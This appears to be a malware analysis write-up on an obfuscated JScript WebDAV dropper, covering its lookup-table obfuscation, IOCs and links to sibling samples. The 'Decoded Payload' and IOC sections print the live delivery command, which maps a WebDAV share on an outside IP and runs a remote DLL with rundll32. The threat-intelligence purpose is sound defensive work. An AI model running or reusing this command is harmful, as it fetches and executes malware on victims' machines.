f8dce7df — 872799881599015970.js

Sixty-fourth confirmed sibling of the unclassified-js-webdav-dropper cluster. JScript dictionary lookup-table obfuscation with a new extreme-padding dialect: a 2,478-character random-alphabet variable name and 62 random-noise keys mapping to single ASCII characters.

Build / RE

• Language: JScript (Windows Script Host), ASCII text, single line, 1,110,026 bytes. ^[file.txt]
• Obfuscation: Dictionary lookup-table (62 entries) on a 2,478-character random lowercase variable name (fhqcygxmozqbjkzutyqcngpcyajufjbxepwkmxhwtmkcjgbtlexufgckjtutfdiuuyplyaikvmsemfvokynfmxwaqcwzlcitiaprwpwkfextzkdbgysuibjnznhttdhoibfbedbnynfueumootesyiqiqromhkehpmqeyecbspiqsmtvjwvhqkvojqqninmjztqjqlskytmhsxmvsjuumyuhfkkiawktwjntbhxvqjrmrnmhuohnmadhjxqvmbqosccdkqyibyovsctmhsnsaxbtawzilxmizydppwircnxxkihlmyelnmfoaannqgifpwupuiovtxngrpauwooztjnulxoygrnhurwoaavczzfwwqbdrqthxsvxyyimmzwhqnifhnccblxaumjnlbxlmwmgjfjpwakaeylakqazmqtvocxutfzfzwgrxnkuycjcekulksuzrwihuyrlatxyltutspbpnazpwsdmjqccxbbiaqpkxna…). Each key is a 50-200 character random noise string mapping to one printable ASCII character. The assembly engine is Function(''+<concatenation>+'',0,false); which evaluates the concatenated string as JavaScript code. ^[f8dce7df01e6.bin:decoded]
• Anti-analysis: None — no debugger checks, no VM detection, no sandbox gates, no time-bombs. Straight execution.
• Code quality: Extremely low — the 2,478-char variable name and ~757 KB concatenation tail are pure volume-based obfuscation, not algorithmic complexity. Hand-written, not generated by a commercial packer.

Deploy / ATT&CK

IOCs

• WebDAV C2: 94.159.113.82:8888 (via net use \\94.159.113.82@8888\davwwwroot\) ^[f8dce7df01e6.bin:decoded]
• Remote DLL: 13924273943322.dll (loaded via rundll32 ...,Entry) ^[f8dce7df01e6.bin:decoded]
• Command: cmd /c net use \\94.159.113.82@8888\davwwwroot\ & rundll32 \\94.159.113.82@8888\davwwwroot\13924273943322.dll,Entry ^[f8dce7df01e6.bin:decoded]

Decoded Payload

return this WScript CreateObject WScript.Shell run cmd /c net use \\94.159.113.82@8888\davwwwroot\ & rundll32 \\94.159.113.82@8888\davwwwroot\13924273943322.dll,Entry

(Note: the @ in 94.159.113.82@8888 is the literal separator used in the WebDAV UNC path; this is how the Windows WebDAV client maps host:port to a UNC share. The : character was not present in the 62-character decoder map and appears as a literal string in the concatenation tail.)

Sibling Linkage

• Shares execution engine (Function('return this')() + WScript.Shell.Run + net use + rundll32 ...,Entry) with the entire unclassified-js-webdav-dropper cluster.
• New dialect: extreme variable-name padding (2,478 chars vs. typical 8-20 char object names in prior siblings) and random-noise keys at 62-entry cardinality (prior 62-entry siblings used natural-language or alliterative phrases; this is the sixth 62-entry noise-key variant).
• No PowerShell wrapper, no wordpad decoy, no sandbox gate, no nested try/catch decoys — minimal execution chain.

Static-Only Limitations

• CAPE skipped — file is ASCII text, not a supported binary class. ^[dynamic-analysis.md]
• Inner DLL (13924273943322.dll) was not available for analysis.